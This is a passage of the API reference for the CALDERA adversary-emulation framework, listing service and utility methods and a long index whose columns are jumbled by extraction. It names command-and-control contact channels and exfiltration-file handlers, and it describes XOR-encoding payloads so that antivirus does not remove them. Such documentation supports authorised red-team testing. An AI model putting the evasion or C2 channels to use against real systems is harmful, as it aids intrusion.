get all links for given operation, agent, and trim setting. If a list of buckets is provided,
then get links for specified buckets for given operation and trim setting. Defaults to None.
• agent (Agent, optional) – Agent to generate links for, defaults to None
• trim (bool, optional) – call trim_links() on list of links before returning, defaults
to True
Returns a list of links sorted by score and atomic ordering
async static sort_links(links)
Sort links by score and atomic ordering in adversary profile
Parameters links (list(Link)) – List of links to sort
app.service.rest_svc module
class app.service.rest_svc.RestService
Bases: app.service.interfaces.i_rest_svc.RestServiceInterface, app.utility.
base_service.BaseService
async add_manual_command(access, data)
async apply_potential_link(link)
async build_potential_abilities(operation)
async build_potential_links(operation, agents, abilities)
async construct_agents_for_group(group)
async create_operation(access, data)
async create_schedule(access, data)
async delete_ability(data)
async delete_adversary(data)
async delete_agent(data)
async delete_operation(data)
async display_objects(object_name, data)
async display_operation_report(data)
async display_result(data)
async download_contact_report(contact)
async find_abilities(paw)
async get_agent_configuration(data)
async get_link_pin(json_data)
async get_potential_links(op_id, paw=None)
async list_exfil_files(data)
async list_payloads()
async persist_ability(access, data)
Persist abilities. Accepts single ability or bulk set of abilities. For bulk, supply dict of form {“bulk”:
[{<ability>}, {<ability>},. . . ]}.
async persist_adversary(access, data)
Persist adversaries. Accepts single adversary or bulk set of adversaries. For bulk, supply dict of form
{“bulk”: [{<adversary>}, {<adversary>},. . . ]}.
async persist_objective(access, data)
Persist objectives. Accepts single objective or a bulk set of objectives. For bulk, supply dict of form
{“bulk”: [{objective}, . . . ]}.
async persist_source(access, data)
Persist sources. Accepts single source or bulk set of sources. For bulk, supply dict of form {“bulk”:
[{<sourc>}, {<source>},. . . ]}.
async task_agent_with_ability(paw, ability_id, obfuscator, facts=())
async update_agent_data(data)
async update_chain_data(data)
async update_config(data)
async update_operation(op_id, state=None, autonomous=None, obfuscator=None)
async update_planner(data)
Update a new planner from either the GUI or REST API with new stopping conditions. This overwrites
the existing YML file. :param data: :return: the ID of the created adversary
app.utility namespace
Submodules
app.utility.base_knowledge_svc module
class app.utility.base_knowledge_svc.BaseKnowledgeService
Bases: app.utility.base_service.BaseService
app.utility.base_obfuscator module
class app.utility.base_obfuscator.BaseObfuscator(agent)
Bases: app.utility.base_world.BaseWorld
run(link, **kwargs)
app.utility.base_object module
class app.utility.base_object.AppConfigGlobalVariableIdentifier
Bases: object
classmethod is_global_variable(variable)
class app.utility.base_object.BaseObject
Bases: app.utility.base_world.BaseWorld
property access
static clean(d)
property created
property display
display_schema = None
static hash(s)
classmethod load(dict_obj)
load_schema = None
match(criteria)
replace_app_props(encoded_string)
static retrieve(collection, unique)
schema = None
search_tags(value)
update(field, value)
Updates the given field to the given value as long as the value is not None and the new value is different
from the current value. Ignoring None prevents current property values from being overwritten to None if
the given property is not intentionally passed back to be updated (example: Agent heartbeat)
Parameters
• field – object property to update
• value – value to update to
app.utility.base_parser module
class app.utility.base_parser.BaseParser(parser_info)
Bases: object
static broadcastip(blob)
static email(blob)
Parse out email addresses :param blob: :return:
static filename(blob)
Parse out filenames :param blob: :return:
static ip(blob)
static line(blob)
Split a blob by line :param blob: :return:
static load_json(blob)
static set_value(search, match, used_facts)
Determine the value of a source/target for a Relationship :param search: a fact property to look for; either
a source or target fact :param match: a parsing match :param used_facts: a list of facts that were used in a
command :return: either None, the value of a matched used_fact, or the parsing match
app.utility.base_planning_svc module
class app.utility.base_planning_svc.BasePlanningService(global_variable_owners=None)
Bases: app.utility.base_service.BaseService
add_global_variable_owner(global_variable_owner)
Adds a global variable owner to the internal registry.
These will be used for identification of global variables when performing variable-fact substitution.
Args:
global_variable_owner: An object that exposes an is_global_variable(. . . ) method and accepts a string
containing a bare/unwrapped variable.
async add_test_variants(links, agent, facts=(), rules=(), operation=None,
trim_unset_variables=False, trim_missing_requirements=False)
Create a list of all possible links for a given set of templates
Parameters
• links –
• agent –
• facts –
• rules –
• operation –
• trim_unset_variables –
• trim_missing_requirements –
Returns updated list of links
is_global_variable(variable)
Parameters
• operation –
• links –
• agent –
Returns trimmed list of links
app.utility.base_service module
class app.utility.base_service.BaseService
Bases: app.utility.base_world.BaseWorld
add_service(name, svc)
classmethod get_service(name)
classmethod get_services()
classmethod remove_service(name)
app.utility.base_world module
static jitter(fraction)
async static load_module(module_type, module_info)
static prepend_to_file(filename, line)
re_base64 = re.compile('[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
static set_config(name, prop, value)
static strip_yml(path)
class app.utility.base_world.PrivilegesSchema(*, only: Union[Sequence[str], Set[str]]
= None, exclude: Union[Sequence[str],
Set[str]] = (), many: bool = False,
context: Dict = None, load_only:
Union[Sequence[str], Set[str]] = (),
dump_only: Union[Sequence[str],
Set[str]] = (), partial: Union[bool, Se-
quence[str], Set[str]] = False, unknown:
str = None)
Bases: marshmallow.schema.Schema
opts = <marshmallow.schema.SchemaOpts object>
app.utility.config_generator module
app.utility.config_generator.ensure_local_config()
Checks if a local.yml config file exists. If not, generates a new local.yml file using secure random values.
app.utility.config_generator.log_config_message(config_path)
app.utility.config_generator.make_secure_config()
app.utility.file_decryptor module
app.utility.payload_encoder module
This module contains helper functions for encoding and decoding payload files.
If AV is running on the server host, then it may sometimes flag, quarantine, or delete CALDERA payloads. To help
prevent this, encoded payloads can be used to prevent AV from breaking the server. The convention expected by
the server is that encoded payloads will be XOR’ed with the DEFAULT_KEY contained in the payload_encoder.py
module.
Additionally, payload_encoder.py can be used from the command-line to add a new encoded payload.
` python /path/to/payload_encoder.py input_file output_file `
NOTE: In order for the server to detect the availability of an encoded payload, the payload file’s name must end in the
.xored extension.
app.utility.payload_encoder.xor_bytes(in_bytes, key=None)
app.utility.payload_encoder.xor_file(input_file, output_file=None, key=None)
app.utility.rule_set module
class app.utility.rule_set.RuleAction
Bases: enum.Enum
An enumeration.
ALLOW = 1
DENY = 0
class app.utility.rule_set.RuleSet(rules)
Bases: object
async apply_rules(facts)
async is_fact_allowed(fact)
26.1.2 Submodules
app.version.get_version()
TWENTYSEVEN
• genindex
• modindex
• search
193
caldera
a app.api.v2.schemas.base_schemas, 128
app, 191 app.api.v2.schemas.caldera_info_schemas,
app.api.packs.advanced, 119 129
app.api.packs.campaign, 119 app.api.v2.schemas.config_schemas, 130
app.api.rest_api, 134 app.api.v2.schemas.deploy_command_schemas,
app.api.v2, 134 131
app.api.v2.errors, 132 app.api.v2.schemas.error_schemas, 132
app.api.v2.handlers.ability_api, 120 app.api.v2.security, 133
app.api.v2.handlers.adversary_api, 120 app.api.v2.validation, 133
app.api.v2.handlers.agent_api, 120 app.contacts.contact_dns, 137
app.api.v2.handlers.base_api, 121 app.contacts.contact_ftp, 139
app.api.v2.handlers.base_object_api, 121 app.contacts.contact_gist, 140
app.api.v2.handlers.config_api, 121 app.contacts.contact_html, 140
app.api.v2.handlers.contact_api, 122 app.contacts.contact_http, 141
app.api.v2.handlers.fact_api, 122 app.contacts.contact_slack, 141
app.api.v2.handlers.fact_source_api, 122 app.contacts.contact_tcp, 141
app.api.v2.handlers.health_api, 123 app.contacts.contact_udp, 142
app.api.v2.handlers.obfuscator_api, 123 app.contacts.contact_websocket, 142
app.api.v2.handlers.objective_api, 123 app.contacts.handles.h_beacon, 134
app.api.v2.handlers.operation_api, 123 app.contacts.tunnels.tunnel_ssh, 135
app.api.v2.handlers.planner_api, 124 app.data_encoders.base64_basic, 142
app.api.v2.handlers.plugins_api, 124 app.data_encoders.plain_text, 143
app.api.v2.handlers.schedule_api, 124 app.learning.p_ip, 143
app.api.v2.managers.ability_api_manager, app.learning.p_path, 143
125 app.objects.c_ability, 155
app.objects.c_adversary, 157
app.api.v2.managers.adversary_api_manager,
125 app.objects.c_agent, 157
app.api.v2.managers.agent_api_manager, app.objects.c_data_encoder, 159
125 app.objects.c_obfuscator, 160
app.api.v2.managers.base_api_manager, app.objects.c_objective, 160
125 app.objects.c_operation, 161
app.api.v2.managers.config_api_manager, app.objects.c_planner, 163
126 app.objects.c_plugin, 164
app.api.v2.managers.contact_api_manager, app.objects.c_schedule, 164
127 app.objects.c_source, 165
app.api.v2.managers.fact_api_manager, app.objects.interfaces.i_object, 143
127 app.objects.secondclass.c_executor, 144
app.objects.secondclass.c_fact, 145
app.api.v2.managers.operation_api_manager,
127 app.objects.secondclass.c_goal, 146
app.api.v2.managers.schedule_api_manager,app.objects.secondclass.c_instruction,
128 147
app.api.v2.responses, 133 app.objects.secondclass.c_link, 147
195
caldera
app.objects.secondclass.c_parser, 149
app.objects.secondclass.c_parserconfig,
149
app.objects.secondclass.c_relationship,
150
app.objects.secondclass.c_requirement,
152
app.objects.secondclass.c_result, 153
app.objects.secondclass.c_rule, 154
app.objects.secondclass.c_variation, 154
app.objects.secondclass.c_visibility,
155
app.service.app_svc, 173
app.service.auth_svc, 174
app.service.contact_svc, 176
app.service.data_svc, 176
app.service.event_svc, 178
app.service.file_svc, 178
app.service.interfaces.i_app_svc, 166
app.service.interfaces.i_auth_svc, 167
app.service.interfaces.i_contact_svc,
167
app.service.interfaces.i_data_svc, 167
app.service.interfaces.i_event_svc, 168
app.service.interfaces.i_file_svc, 168
app.service.interfaces.i_knowledge_svc,
169
app.service.interfaces.i_learning_svc,
171
app.service.interfaces.i_login_handler,
171
app.service.interfaces.i_object_svc, 171
app.service.interfaces.i_planning_svc,
172
app.service.interfaces.i_rest_svc, 172
app.service.knowledge_svc, 179
app.service.learning_svc, 181
app.service.login_handlers.default, 173
app.service.planning_svc, 181
app.service.rest_svc, 184
app.utility.base_knowledge_svc, 185
app.utility.base_obfuscator, 186
app.utility.base_object, 186
app.utility.base_parser, 187
app.utility.base_planning_svc, 187
app.utility.base_service, 188
app.utility.base_world, 189
app.utility.config_generator, 190
app.utility.file_decryptor, 190
app.utility.payload_encoder, 190
app.utility.rule_set, 191
app.version, 191
A add_global_variable_owner()
A (app.contacts.contact_dns.DnsRecordType attribute), (app.utility.base_planning_svc.BasePlanningService
138 method), 187
AAAA (app.contacts.contact_dns.DnsRecordType at- add_link() (app.objects.c_operation.Operation
tribute), 138 method), 161
Ability (class in app.objects.c_ability), 155 add_manual_command()
ability_id() (app.objects.c_source.Adjustment (app.service.rest_svc.RestService method),
property), 165 184
AbilityApi (class in app.api.v2.handlers.ability_api), add_parsers() (app.service.interfaces.i_learning_svc.LearningServiceI
120 static method), 171
AbilityApiManager (class in add_parsers() (app.service.learning_svc.LearningService
app.api.v2.managers.ability_api_manager), static method), 181
125 add_relationship()
AbilitySchema (class in app.objects.c_ability), 156 (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterfa
accept() (app.contacts.contact_tcp.TcpSessionHandler method), 169
method), 141 add_relationship()
access() (app.utility.base_object.BaseObject prop- (app.service.knowledge_svc.KnowledgeService
erty), 186 method), 179
AccessSchema (class in app.utility.base_world), 189 add_relationships()
active_agents() (app.objects.c_operation.Operation (app.api.v2.handlers.fact_api.FactApi method),
method), 161 122
add_ability_to_bucket() add_routes() (app.api.v2.handlers.ability_api.AbilityApi
(app.service.planning_svc.PlanningService method), 120
method), 181 add_routes() (app.api.v2.handlers.adversary_api.AdversaryApi
add_bucket() (app.objects.c_ability.Ability method), method), 120
155 add_routes() (app.api.v2.handlers.agent_api.AgentApi
add_chunk() (app.contacts.contact_dns.Handler.TunneledMessagemethod), 120
method), 139 add_routes() (app.api.v2.handlers.base_api.BaseApi
add_chunk() (app.contacts.contact_gist.Contact.GistUpload method), 121
method), 140 add_routes() (app.api.v2.handlers.base_object_api.BaseObjectApi
add_chunk() (app.contacts.contact_slack.Contact.SlackUpload method), 121
method), 141 add_routes() (app.api.v2.handlers.config_api.ConfigApi
add_executor() (app.objects.c_ability.Ability method), 121
method), 155 add_routes() (app.api.v2.handlers.contact_api.ContactApi
add_executors() (app.objects.c_ability.Ability method), 122
method), 156 add_routes() (app.api.v2.handlers.fact_api.FactApi
method), 122
add_fact() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
method), 169 add_routes() (app.api.v2.handlers.fact_source_api.FactSourceApi
add_fact() (app.service.knowledge_svc.KnowledgeService method), 122
method), 179 add_routes() (app.api.v2.handlers.health_api.HealthApi
add_facts() (app.api.v2.handlers.fact_api.FactApi method), 123
method), 122 add_routes() (app.api.v2.handlers.obfuscator_api.ObfuscatorApi
197
caldera
198 Index
caldera
app.api.v2.handlers.schedule_api app.contacts.handles.h_beacon
module, 124 module, 134
app.api.v2.managers.ability_api_manager app.contacts.tunnels.tunnel_ssh
module, 125 module, 135
app.api.v2.managers.adversary_api_manager
app.data_encoders.base64_basic
module, 125 module, 142
app.api.v2.managers.agent_api_manager app.data_encoders.plain_text
module, 125 module, 143
app.api.v2.managers.base_api_manager app.learning.p_ip
module, 125 module, 143
app.api.v2.managers.config_api_manager app.learning.p_path
module, 126 module, 143
app.api.v2.managers.contact_api_manager app.objects.c_ability
module, 127 module, 155
app.api.v2.managers.fact_api_manager app.objects.c_adversary
module, 127 module, 157
app.api.v2.managers.operation_api_manager
app.objects.c_agent
module, 127 module, 157
app.api.v2.managers.schedule_api_managerapp.objects.c_data_encoder
module, 128 module, 159
app.api.v2.responses app.objects.c_obfuscator
module, 133 module, 160
app.api.v2.schemas.base_schemas app.objects.c_objective
module, 128 module, 160
app.api.v2.schemas.caldera_info_schemas app.objects.c_operation
module, 129 module, 161
app.api.v2.schemas.config_schemas app.objects.c_planner
module, 130 module, 163
app.api.v2.schemas.deploy_command_schemas
app.objects.c_plugin
module, 131 module, 164
app.api.v2.schemas.error_schemas app.objects.c_schedule
module, 132 module, 164
app.api.v2.security app.objects.c_source
module, 133 module, 165
app.api.v2.validation app.objects.interfaces.i_object
module, 133 module, 143
app.contacts.contact_dns app.objects.secondclass.c_executor
module, 137 module, 144
app.contacts.contact_ftp app.objects.secondclass.c_fact
module, 139 module, 145
app.contacts.contact_gist app.objects.secondclass.c_goal
module, 140 module, 146
app.contacts.contact_html app.objects.secondclass.c_instruction
module, 140 module, 147
app.contacts.contact_http app.objects.secondclass.c_link
module, 141 module, 147
app.contacts.contact_slack app.objects.secondclass.c_parser
module, 141 module, 149
app.contacts.contact_tcp app.objects.secondclass.c_parserconfig
module, 141 module, 149
app.contacts.contact_udp app.objects.secondclass.c_relationship
module, 142 module, 150
app.contacts.contact_websocket app.objects.secondclass.c_requirement
module, 142 module, 152
Index 199
caldera
app.objects.secondclass.c_result app.utility.base_knowledge_svc
module, 153 module, 185
app.objects.secondclass.c_rule app.utility.base_obfuscator
module, 154 module, 186
app.objects.secondclass.c_variation app.utility.base_object
module, 154 module, 186
app.objects.secondclass.c_visibility app.utility.base_parser
module, 155 module, 187
app.service.app_svc app.utility.base_planning_svc
module, 173 module, 187
app.service.auth_svc app.utility.base_service
module, 174 module, 188
app.service.contact_svc app.utility.base_world
module, 176 module, 189
app.service.data_svc app.utility.config_generator
module, 176 module, 190
app.service.event_svc app.utility.file_decryptor
module, 178 module, 190
app.service.file_svc app.utility.payload_encoder
module, 178 module, 190
app.service.interfaces.i_app_svc app.utility.rule_set
module, 166 module, 191
app.service.interfaces.i_auth_svc app.version
module, 167 module, 191
app.service.interfaces.i_contact_svc AppConfigGlobalVariableIdentifier (class
module, 167 in app.utility.base_object), 186
app.service.interfaces.i_data_svc apply() (app.objects.c_operation.Operation method),
module, 167 161
app.service.interfaces.i_event_svc apply() (app.objects.secondclass.c_visibility.Visibility
module, 168 method), 155
app.service.interfaces.i_file_svc apply() (app.service.auth_svc.AuthService method),
module, 168 174
app.service.interfaces.i_knowledge_svc apply() (app.service.data_svc.DataService method),
module, 169 176
app.service.interfaces.i_learning_svc apply() (app.service.interfaces.i_auth_svc.AuthServiceInterface
module, 171 method), 167
app.service.interfaces.i_login_handler apply() (app.service.interfaces.i_data_svc.DataServiceInterface
module, 171 method), 167
app.service.interfaces.i_object_svc apply_config() (app.utility.base_world.BaseWorld
module, 171 static method), 189
app.service.interfaces.i_planning_svc apply_id() (app.objects.secondclass.c_link.Link
module, 172 method), 147
app.service.interfaces.i_rest_svc apply_potential_link()
module, 172 (app.service.interfaces.i_rest_svc.RestServiceInterface
app.service.knowledge_svc method), 172
module, 179 apply_potential_link()
app.service.learning_svc (app.service.rest_svc.RestService method),
module, 181 184
app.service.login_handlers.default apply_rules() (app.utility.rule_set.RuleSet method),
module, 173 191
app.service.planning_svc AppService (class in app.service.app_svc), 173
module, 181 AppServiceInterface (class in
app.service.rest_svc app.service.interfaces.i_app_svc), 166
module, 184 assign_pending_executor_change()
200 Index
caldera
Index 201
caldera
202 Index
caldera
Index 203
caldera
204 Index
caldera
Index 205
caldera
(app.service.interfaces.i_rest_svc.RestServiceInterface
EventService (class in app.service.event_svc), 178
method), 172 EventServiceInterface (class in
download_contact_report() app.service.interfaces.i_event_svc), 168
(app.service.rest_svc.RestService method), execute_planner()
184 (app.service.planning_svc.PlanningService
download_exfil_file() method), 182
(app.api.rest_api.RestApi method), 134 EXECUTOR (app.objects.c_operation.Operation.Reason
download_file() (app.api.rest_api.RestApi attribute), 161
method), 134 Executor (class in app.objects.secondclass.c_executor),
dump_object_with_filters() 144
(app.api.v2.managers.base_api_manager.BaseApiManager
executor_change_to_assign()
static method), 125 (app.objects.c_agent.Agent property), 158
executors() (app.objects.c_ability.Ability property),
E 156
Elevated (app.utility.base_world.BaseWorld.Privileges ExecutorSchema (class in
attribute), 189 app.objects.secondclass.c_executor), 144
email() (app.utility.base_parser.BaseParser static exhaust_bucket() (app.service.planning_svc.PlanningService
method), 187 method), 182
enable() (app.api.packs.advanced.AdvancedPack expand() (app.objects.c_plugin.Plugin method), 164
method), 119 export_contents()
enable() (app.api.packs.campaign.CampaignPack (app.contacts.contact_dns.Handler.TunneledMessage
method), 119 method), 139
enable() (app.api.rest_api.RestApi method), 134 export_contents()
enable() (app.objects.c_plugin.Plugin method), 164 (app.contacts.contact_gist.Contact.GistUpload
encode() (app.data_encoders.base64_basic.Base64Encoder method), 140
method), 142 export_contents()
encode() (app.data_encoders.plain_text.PlainTextEncoder (app.contacts.contact_slack.Contact.SlackUpload
method), 143 method), 141
encode() (app.objects.c_data_encoder.DataEncoder extract_data() (app.api.v2.managers.fact_api_manager.FactApiMana
method), 159 static method), 127
encode_string() (app.utility.base_world.BaseWorld
static method), 189 F
ensure_local_config() (in module Fact (class in app.objects.secondclass.c_fact), 145
app.utility.config_generator), 190 FACT_DEPENDENCY (app.objects.c_operation.Operation.Reason
Error (class in app.service.app_svc), 174 attribute), 161
errors() (app.service.app_svc.AppService property), FactApi (class in app.api.v2.handlers.fact_api), 122
173 FactApiManager (class in
escaped() (app.objects.secondclass.c_fact.Fact app.api.v2.managers.fact_api_manager),
method), 145 127
EVENT_EXCHANGE (app.objects.c_operation.Operation FactSchema (class in app.objects.secondclass.c_fact),
attribute), 161 145
EVENT_EXCHANGE (app.objects.secondclass.c_link.Link FactSchema.Meta (class in
attribute), 147 app.objects.secondclass.c_fact), 145
event_logs() (app.objects.c_operation.Operation FactSourceApi (class in
method), 162 app.api.v2.handlers.fact_source_api), 122
EVENT_QUEUE_COMPLETED FactUpdateRequestSchema (class in
(app.objects.c_operation.Operation attribute), app.objects.secondclass.c_fact), 145
161 filename() (app.utility.base_parser.BaseParser static
EVENT_QUEUE_STATE_CHANGED method), 187
(app.objects.c_operation.Operation attribute), FileServiceInterface (class in
161 app.service.interfaces.i_file_svc), 168
EVENT_QUEUE_STATUS_CHANGED FileSvc (class in app.service.file_svc), 178
(app.objects.secondclass.c_link.Link attribute), FileUploadData (app.contacts.contact_dns.Handler.MessageType
147 attribute), 138
206 Index
caldera
Index 207
caldera
get_abilities() (app.api.v2.handlers.ability_api.AbilityApi
get_contact_report()
method), 120 (app.api.v2.handlers.contact_api.ContactApi
get_ability_by_id() method), 122
(app.api.v2.handlers.ability_api.AbilityApi get_contact_report()
method), 120 (app.api.v2.managers.contact_api_manager.ContactApiManager
get_active_agent_by_paw() method), 127
(app.objects.c_operation.Operation method), get_current_timestamp()
162 (app.utility.base_world.BaseWorld static
get_adversaries() method), 189
(app.api.v2.handlers.adversary_api.AdversaryApiget_deploy_commands()
method), 120 (app.api.v2.handlers.agent_api.AgentApi
get_adversary_by_id() method), 120
(app.api.v2.handlers.adversary_api.AdversaryApiget_deploy_commands()
method), 120 (app.api.v2.managers.agent_api_manager.AgentApiManager
get_agent() (app.api.v2.managers.operation_api_manager.OperationApiManager
method), 125
method), 127 get_deploy_commands_for_ability()
get_agent_by_id() (app.api.v2.handlers.agent_api.AgentApi
(app.api.v2.handlers.agent_api.AgentApi method), 120
method), 120 get_encryptor() (in module
get_agent_configuration() app.utility.file_decryptor), 190
(app.service.rest_svc.RestService method), get_fact_origin()
185 (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterfa
get_agents() (app.api.v2.handlers.agent_api.AgentApi method), 170
method), 120 get_fact_origin()
get_all_objects() (app.service.knowledge_svc.KnowledgeService
(app.api.v2.handlers.base_object_api.BaseObjectApi method), 180
method), 121 get_fact_source_by_id()
get_available_contact_reports() (app.api.v2.handlers.fact_source_api.FactSourceApi
(app.api.v2.handlers.contact_api.ContactApi method), 122
method), 122 get_fact_sources()
get_available_contact_reports() (app.api.v2.handlers.fact_source_api.FactSourceApi
(app.api.v2.managers.contact_api_manager.ContactApiManagermethod), 122
method), 127 get_facts() (app.api.v2.handlers.fact_api.FactApi
get_beacons() (app.contacts.contact_gist.Contact method), 122
method), 140 get_facts() (app.service.interfaces.i_knowledge_svc.KnowledgeService
get_beacons() (app.contacts.contact_slack.Contact method), 170
method), 141 get_facts() (app.service.knowledge_svc.KnowledgeService
get_bytes() (app.contacts.contact_dns.DnsAnswerObj method), 180
method), 137 get_file() (app.service.file_svc.FileSvc method),
get_bytes() (app.contacts.contact_dns.DnsResponse 179
method), 138 get_file() (app.service.interfaces.i_file_svc.FileServiceInterface
get_cleanup_links() method), 168
(app.service.interfaces.i_planning_svc.PlanningServiceInterface
get_filtered_config()
method), 172 (app.api.v2.managers.config_api_manager.ConfigApiManager
get_cleanup_links() method), 126
(app.service.planning_svc.PlanningService get_finished_states()
method), 183 (app.objects.c_operation.Operation class
get_config() (app.utility.base_world.BaseWorld method), 162
static method), 189 get_health_info()
get_config_with_name() (app.api.v2.handlers.health_api.HealthApi
(app.api.v2.handlers.config_api.ConfigApi method), 123
method), 121 get_link_pin() (app.service.interfaces.i_rest_svc.RestServiceInterface
get_contact() (app.service.contact_svc.ContactService method), 172
method), 176 get_link_pin() (app.service.rest_svc.RestService
208 Index
caldera
Index 209
caldera
get_relationships() 146
(app.api.v2.handlers.fact_api.FactApi method), gui_modification() (app.objects.c_agent.Agent
122 method), 158
get_relationships()
H
(app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
method), 170 Handle (class in app.contacts.handles.h_beacon), 134
get_relationships() handle() (app.contacts.contact_websocket.Handler
(app.service.knowledge_svc.KnowledgeService method), 142
method), 180 handle_agent_file()
get_request_permissions() (app.contacts.contact_ftp.FtpHandler method),
(app.api.v2.handlers.base_api.BaseApi 139
method), 121 handle_beacons() (app.contacts.contact_gist.Contact
get_response_code() method), 140
(app.contacts.contact_dns.DnsPacket method), handle_beacons() (app.contacts.contact_slack.Contact
137 method), 141
get_results() (app.contacts.contact_gist.Contact handle_exceptions()
method), 140 (app.service.event_svc.EventService method),
get_results() (app.contacts.contact_slack.Contact 178
method), 141 handle_heartbeat()
get_rules() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
(app.service.contact_svc.ContactService
method), 170 method), 176
get_rules() (app.service.knowledge_svc.KnowledgeService handle_heartbeat()
method), 180 (app.service.interfaces.i_contact_svc.ContactServiceInterface
get_schedule_by_id() method), 167
(app.api.v2.handlers.schedule_api.ScheduleApi handle_login() (app.service.interfaces.i_login_handler.LoginHandlerI
method), 124 method), 171
get_schedules() (app.api.v2.handlers.schedule_api.ScheduleApi
handle_login() (app.service.login_handlers.default.DefaultLoginHand
method), 124 method), 173
get_service() (app.utility.base_service.BaseService handle_login_redirect()
class method), 188 (app.service.interfaces.i_login_handler.LoginHandlerInterface
get_services() (app.utility.base_service.BaseService method), 171
class method), 188 handle_login_redirect()
get_skipped_abilities_by_agent() (app.service.login_handlers.default.DefaultLoginHandler
(app.objects.c_operation.Operation method), method), 173
162 handle_successful_login()
get_states() (app.objects.c_operation.Operation (app.service.auth_svc.AuthService method),
class method), 162 175
get_timestamp_from_string() handle_uploads() (app.contacts.contact_gist.Contact
(app.utility.base_world.BaseWorld static method), 140
method), 189 handle_uploads() (app.contacts.contact_slack.Contact
get_tunnel() (app.service.contact_svc.ContactService method), 141
method), 176 Handler (class in app.contacts.contact_dns), 138
get_uploads() (app.contacts.contact_gist.Contact Handler (class in app.contacts.contact_udp), 142
method), 140 Handler (class in app.contacts.contact_websocket),
get_uploads() (app.contacts.contact_slack.Contact 142
method), 141 Handler.ClientRequestContext (class in
get_variations() (in module app.contacts.contact_dns), 138
app.objects.secondclass.c_executor), 144 Handler.FileUploadRequest (class in
get_version() (in module app.version), 191 app.contacts.contact_dns), 138
gist_operation_loop() Handler.MessageType (class in
(app.contacts.contact_gist.Contact method), app.contacts.contact_dns), 138
140 Handler.StoredResponse (class in
Goal (class in app.objects.secondclass.c_goal), 146 app.contacts.contact_dns), 139
GoalSchema (class in app.objects.secondclass.c_goal),
210 Index
caldera
Index 211
caldera
212 Index
caldera
Index 213
caldera
214 Index
caldera
Index 215
caldera
216 Index
caldera
Index 217
caldera
218 Index
caldera
(app.service.interfaces.i_app_svc.AppServiceInterface
ScheduleSchema (class in app.objects.c_schedule),
method), 166 164
retrieve_config() schema (app.objects.c_ability.Ability attribute), 156
(app.contacts.contact_gist.Contact method), schema (app.objects.c_adversary.Adversary attribute),
140 157
retrieve_config() schema (app.objects.c_agent.Agent attribute), 158
(app.contacts.contact_slack.Contact method), schema (app.objects.c_data_encoder.DataEncoder at-
141 tribute), 159
Rule (class in app.objects.secondclass.c_rule), 154 schema (app.objects.c_obfuscator.Obfuscator at-
RuleAction (class in app.utility.rule_set), 191 tribute), 160
RuleSchema (class in app.objects.secondclass.c_rule), schema (app.objects.c_objective.Objective attribute),
154 160
RuleSet (class in app.utility.rule_set), 191 schema (app.objects.c_operation.Operation attribute),
run() (app.contacts.handles.h_beacon.Handle static 162
method), 134 schema (app.objects.c_planner.Planner attribute), 163
run() (app.objects.c_operation.Operation method), 162 schema (app.objects.c_plugin.Plugin attribute), 164
run() (app.utility.base_obfuscator.BaseObfuscator schema (app.objects.c_schedule.Schedule attribute),
method), 186 164
RUN_ONE_LINK (app.objects.c_operation.Operation.Statesschema (app.objects.c_source.Source attribute), 165
attribute), 161 schema (app.objects.secondclass.c_executor.Executor
run_scheduler() (app.service.app_svc.AppService attribute), 144
method), 174 schema (app.objects.secondclass.c_fact.Fact attribute),
run_scheduler() (app.service.interfaces.i_app_svc.AppServiceInterface145
method), 166 schema (app.objects.secondclass.c_goal.Goal at-
RUNNING (app.objects.c_operation.Operation.States at- tribute), 146
tribute), 161 schema (app.objects.secondclass.c_instruction.Instruction
attribute), 147
S schema (app.objects.secondclass.c_link.Link attribute),
satisfied() (app.objects.secondclass.c_goal.Goal 148
method), 146 schema (app.objects.secondclass.c_parser.Parser at-
save_fact() (app.objects.secondclass.c_link.Link tribute), 149
method), 148 schema (app.objects.secondclass.c_parserconfig.ParserConfig
save_file() (app.service.file_svc.FileSvc method), attribute), 149
179 schema (app.objects.secondclass.c_relationship.Relationship
save_file() (app.service.interfaces.i_file_svc.FileServiceInterfaceattribute), 150
method), 169 schema (app.objects.secondclass.c_requirement.Requirement
save_multipart_file_upload() attribute), 152
(app.service.file_svc.FileSvc method), 179 schema (app.objects.secondclass.c_result.Result at-
save_multipart_file_upload() tribute), 153
schema (app.objects.secondclass.c_rule.Rule attribute),
(app.service.interfaces.i_file_svc.FileServiceInterface
method), 169 154
save_state() (app.service.data_svc.DataService schema (app.objects.secondclass.c_variation.Variation
method), 177 attribute), 154
schema (app.objects.secondclass.c_visibility.Visibility
save_state() (app.service.interfaces.i_object_svc.ObjectServiceInterface
method), 171 attribute), 155
save_state() (app.service.knowledge_svc.KnowledgeService schema (app.utility.base_object.BaseObject attribute),
method), 181 186
Schedule (class in app.objects.c_schedule), 164 score() (app.objects.secondclass.c_visibility.Visibility
ScheduleApi (class in property), 155
app.api.v2.handlers.schedule_api), 124 search() (app.service.data_svc.DataService method),
ScheduleApiManager (class in 177
app.api.v2.managers.schedule_api_manager), search_operation_for_link()
128 (app.api.v2.managers.operation_api_manager.OperationApiMana
method), 127
Index 219
caldera
220 Index
caldera
Index 221
caldera
update_fact() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
method), 124
method), 170 update_operation_link()
update_fact() (app.service.knowledge_svc.KnowledgeService (app.api.v2.managers.operation_api_manager.OperationApiMana
method), 181 method), 128
update_fact_source() update_planner() (app.service.interfaces.i_rest_svc.RestServiceInterf
(app.api.v2.handlers.fact_source_api.FactSourceApi method), 173
method), 122 update_planner() (app.service.rest_svc.RestService
update_facts() (app.api.v2.handlers.fact_api.FactApi method), 185
method), 122 update_relationship()
update_global_agent_config() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterfa
(app.api.v2.managers.config_api_manager.ConfigApiManager method), 170
method), 126 update_relationship()
update_main_config() (app.service.knowledge_svc.KnowledgeService
(app.api.v2.handlers.config_api.ConfigApi method), 181
method), 121 update_relationships()
update_main_config() (app.api.v2.handlers.fact_api.FactApi method),
(app.api.v2.managers.config_api_manager.ConfigApiManager 122
method), 126 update_schedule()
update_object() (app.api.v2.handlers.base_object_api.BaseObjectApi
(app.api.v2.handlers.schedule_api.ScheduleApi
method), 121 method), 124
update_object() (app.api.v2.handlers.operation_api.OperationApi
update_scores() (in module
